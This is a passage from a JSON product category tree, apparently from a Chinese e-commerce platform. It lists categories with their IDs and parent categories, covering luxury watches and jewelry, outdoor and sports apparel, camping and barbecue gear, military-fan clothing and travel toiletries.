品机械腕表","parent_cid":32437,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32565,"name":"奢品石英腕表","parent_cid":32437,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32568,"name":"奢品腕表配件","parent_cid":32437,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32571,"name":"其他奢品钟表","parent_cid":32437,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32557,"name":"奢品耳环/耳钉","parent_cid":32436,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32559,"name":"奢品戒指","parent_cid":32436,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32556,"name":"奢品手链/手镯","parent_cid":32436,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32562,"name":"奢品手绳","parent_cid":32436,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32558,"name":"奢品项链/坠饰","parent_cid":32436,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32560,"name":"奢品胸针","parent_cid":32436,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32561,"name":"奢品袖扣","parent_cid":32436,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32563,"name":"其他奢品珠宝配饰","parent_cid":32436,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32514,"name":"搏击服饰","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32515,"name":"搏击配件","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32495,"name":"冲浪潜水服饰","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32496,"name":"冲浪潜水配件","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32497,"name":"高尔夫服饰","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32498,"name":"高尔夫配件","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32491,"name":"滑雪服饰","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32501,"name":"滑雪配件","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32499,"name":"户外垂钓服饰","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32500,"name":"户外垂钓配件","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32504,"name":"户外登山徒步越野服饰","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32505,"name":"户外登山徒步越野配件","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32506,"name":"户外自行车服饰","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32507,"name":"户外自行车配件","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32512,"name":"轮滑服饰","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32513,"name":"轮滑配件","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32510,"name":"马术服饰","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32511,"name":"马术配件","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32502,"name":"网球服饰","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32503,"name":"网球配件","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32508,"name":"训练服饰","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32509,"name":"训练配件","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32493,"name":"游泳服饰","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32494,"name":"游泳配件","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32489,"name":"瑜伽服饰","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32490,"name":"瑜伽配件","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32516,"name":"运动/户外其他","parent_cid":32433,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29083,"name":"裤子","parent_cid":22439,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29082,"name":"裙子","parent_cid":22439,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29081,"name":"上衣","parent_cid":22439,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31170,"name":"包带","parent_cid":27948,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31172,"name":"包挂件","parent_cid":27948,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31171,"name":"拎环","parent_cid":27948,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31178,"name":"皮带扣","parent_cid":27949,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31182,"name":"防滑贴","parent_cid":27950,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31180,"name":"后跟贴","parent_cid":27950,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31179,"name":"前掌垫","parent_cid":27950,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31175,"name":"鞋带","parent_cid":27950,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31174,"name":"鞋垫","parent_cid":27950,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31176,"name":"鞋扣","parent_cid":27950,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":31181,"name":"增高垫","parent_cid":27950,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30503,"name":"钓鱼培训","parent_cid":24701,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30502,"name":"钓鱼券/钓鱼套餐","parent_cid":24701,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30405,"name":"打水桶","parent_cid":24607,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30406,"name":"装鱼桶","parent_cid":24607,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30330,"name":"护刀油","parent_cid":24436,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30331,"name":"磨刀棒","parent_cid":24436,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30333,"name":"磨刀护刀套装","parent_cid":24436,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30332,"name":"磨刀石","parent_cid":24436,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30329,"name":"暖宝宝贴","parent_cid":24432,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30328,"name":"暖手宝","parent_cid":24432,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30327,"name":"取暖炉","parent_cid":24432,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30567,"name":"冰包","parent_cid":24765,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30568,"name":"冰桶","parent_cid":24765,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30574,"name":"打火机","parent_cid":24795,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30584,"name":"打火石/点火棒","parent_cid":24795,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30575,"name":"点火器","parent_cid":24795,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30570,"name":"火柴","parent_cid":24795,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30581,"name":"穿串器","parent_cid":24796,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30576,"name":"烧烤叉","parent_cid":24796,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30577,"name":"烧烤夹","parent_cid":24796,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30578,"name":"烧烤盘","parent_cid":24796,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30579,"name":"烧烤网","parent_cid":24796,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30580,"name":"烧烤针","parent_cid":24796,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30571,"name":"刷子","parent_cid":24796,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30573,"name":"锡纸","parent_cid":24796,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30572,"name":"竹签","parent_cid":24796,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30590,"name":"固态酒精","parent_cid":24809,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30588,"name":"烧烤炭","parent_cid":24809,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30592,"name":"野炊气罐及其他","parent_cid":24809,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30457,"name":"保暖棉裤","parent_cid":24673,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30456,"name":"保暖棉衣","parent_cid":24673,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30501,"name":"保暖棉衣裤套装","parent_cid":24673,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30427,"name":"冲锋裤","parent_cid":24674,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30426,"name":"冲锋衣","parent_cid":24674,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30490,"name":"冲锋衣裤套装","parent_cid":24674,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30504,"name":"功能内裤","parent_cid":24714,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30511,"name":"功能内衣上装","parent_cid":24714,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30512,"name":"功能内衣下装","parent_cid":24714,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30508,"name":"内衣裤套装","parent_cid":24714,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30408,"name":"滑雪裤","parent_cid":24645,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30407,"name":"滑雪衣","parent_cid":24645,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30411,"name":"滑雪衣裤套装","parent_cid":24645,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30510,"name":"户外休闲裤","parent_cid":24715,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30509,"name":"户外休闲衣","parent_cid":24715,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30513,"name":"户外休闲衣裤套装","parent_cid":24715,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30431,"name":"软壳裤","parent_cid":24676,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30430,"name":"软壳衣","parent_cid":24676,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30492,"name":"软壳衣裤套装","parent_cid":24676,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30458,"name":"速干背心","parent_cid":24677,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30459,"name":"速干衬衣","parent_cid":24677,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30432,"name":"速干裤","parent_cid":24677,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30425,"name":"速干T恤","parent_cid":24677,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30493,"name":"速干衣裤套装","parent_cid":24677,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30506,"name":"一次性内裤","parent_cid":24713,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30505,"name":"一次性内衣","parent_cid":24713,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30507,"name":"一次性袜子","parent_cid":24713,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30410,"name":"羽绒裤","parent_cid":24646,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30409,"name":"羽绒衣","parent_cid":24646,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30412,"name":"羽绒衣裤套装","parent_cid":24646,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30429,"name":"抓绒裤","parent_cid":24675,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30428,"name":"抓绒衣","parent_cid":24675,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30491,"name":"抓绒衣裤套装","parent_cid":24675,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30433,"name":"充电器","parent_cid":24678,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30420,"name":"电池/燃料","parent_cid":24678,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30449,"name":"电筒套/灯套","parent_cid":24678,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30413,"name":"光杯","parent_cid":24678,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30434,"name":"开关帽","parent_cid":24678,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30460,"name":"手电头带","parent_cid":24678,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30520,"name":"鞍袋","parent_cid":24733,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30546,"name":"包具配件","parent_cid":24733,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30538,"name":"解放包/单肩包","parent_cid":24733,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30536,"name":"空降包","parent_cid":24733,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30519,"name":"腿包","parent_cid":24733,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30533,"name":"腰包/臂包/拎包","parent_cid":24733,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30554,"name":"战术双肩背包","parent_cid":24733,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30524,"name":"衬衫","parent_cid":24734,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30525,"name":"风衣","parent_cid":24734,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30522,"name":"夹克","parent_cid":24734,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30540,"name":"吉利服/伪装服","parent_cid":24734,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30539,"name":"军大衣/棉大衣","parent_cid":24734,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30523,"name":"毛衣","parent_cid":24734,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30542,"name":"迷彩裤/军迷裤/工装裤","parent_cid":24734,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30535,"name":"裙子/迷彩裙","parent_cid":24734,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30518,"name":"T恤","parent_cid":24734,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30521,"name":"卫衣","parent_cid":24734,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30547,"name":"休闲背心","parent_cid":24734,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30537,"name":"羽绒衣","parent_cid":24734,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30548,"name":"战术背心","parent_cid":24734,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30552,"name":"作训外套/套装/野战套装","parent_cid":24734,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30532,"name":"风镜/眼镜","parent_cid":24735,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30545,"name":"军迷帽/奔尼帽/平顶帽/解放帽","parent_cid":24735,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30549,"name":"军迷手表","parent_cid":24735,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30528,"name":"面罩","parent_cid":24735,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30527,"name":"旗帜","parent_cid":24735,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30541,"name":"身份牌/金属牌","parent_cid":24735,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30526,"name":"头盔","parent_cid":24735,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30534,"name":"勋章/臂章/肩章/纪念章","parent_cid":24735,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30550,"name":"战术护具/护膝/护腕","parent_cid":24735,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30553,"name":"战术手套/军迷手套","parent_cid":24735,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30551,"name":"战术腰带/皮带/腰封","parent_cid":24735,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30544,"name":"解放鞋/回力鞋/帆布鞋","parent_cid":24736,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30543,"name":"战术靴/飞行靴/沙漠靴","parent_cid":24736,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30586,"name":"普通密码锁","parent_cid":24799,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30569,"name":"TSA密码锁","parent_cid":24799,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30589,"name":"晾衣绳","parent_cid":24810,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30591,"name":"转换插头","parent_cid":24810,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30566,"name":"旅行漱口水","parent_cid":24748,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30565,"name":"旅行牙膏","parent_cid":24748,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30564,"name":"旅行牙刷","parent_cid":24748,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30558,"name":"旅行发卡","parent_cid":24746,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30560,"name":"旅行镜子","parent_cid":24746,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30559,"name":"旅行梳子","parent_cid":24746,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30561,"name":"旅行沐浴露","parent_cid":24744,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30557,"name":"旅行香皂","parent_cid":24744,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30562,"name":"旅行洗发水","parent_cid":24744,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30563,"name":"旅行洗面奶","parent_cid":24744,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30515,"name":"壶套/杯套/保温套","parent_cid":24731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30514,"name":"瓶盖/杯盖","parent_cid":24731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30516,"name":"水袋配件","parent_cid":24731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30517,"name":"水具清洁用品","parent_cid":24731,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30555,"name":"皮水袋/皮囊","parent_cid":24738,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30556,"name":"塑料水袋","parent_cid":24738,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30218,"name":"地钉","parent_cid":24381,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30219,"name":"挂钩","parent_cid":24381,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30220,"name":"篷布/网纱","parent_cid":24381,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30223,"name":"修补包/修补贴","parent_cid":24381,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30221,"name":"帐杆/支撑杆/单杆修补管","parent_cid":24381,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30222,"name":"帐篷绳","parent_cid":24381,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30246,"name":"冰刀刀套","parent_cid":24391,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30247,"name":"冰球杆头","parent_cid":24391,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30248,"name":"冰球球门","parent_cid":24391,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30240,"name":"冰鞋包","parent_cid":24391,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30241,"name":"冰鞋套","parent_cid":24391,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30242,"name":"单刀片","parent_cid":24391,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30250,"name":"花式滑冰网袜","parent_cid":24391,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30243,"name":"磨刀机","parent_cid":24391,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30244,"name":"磨刀架","parent_cid":24391,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30245,"name":"磨刀石","parent_cid":24391,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30249,"name":"速滑眼镜","parent_cid":24391,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30334,"name":"飞镖","parent_cid":24441,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30336,"name":"飞镖杆","parent_cid":24441,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30337,"name":"飞镖盘/飞镖靶","parent_cid":24441,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30338,"name":"飞镖套装","parent_cid":24441,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30339,"name":"沙狐球","parent_cid":24443,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30341,"name":"沙狐球沙","parent_cid":24443,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30340,"name":"沙狐球台","parent_cid":24443,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30342,"name":"桌上足球台","parent_cid":24446,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30343,"name":"桌上足球用球","parent_cid":24446,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30346,"name":"高尔夫杆包","parent_cid":24496,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30347,"name":"高尔夫球包","parent_cid":24496,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30348,"name":"高尔夫鞋包","parent_cid":24496,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30350,"name":"高尔夫衣物包","parent_cid":24496,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30354,"name":"打击垫","parent_cid":24498,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30361,"name":"动作矫正器","parent_cid":24498,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30353,"name":"发球机","parent_cid":24498,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30365,"name":"高尔夫球迷用品","parent_cid":24498,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30362,"name":"高尔夫鞋钉","parent_cid":24498,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30356,"name":"果岭草","parent_cid":24498,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30355,"name":"果岭叉","parent_cid":24498,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30358,"name":"果岭洞杯","parent_cid":24498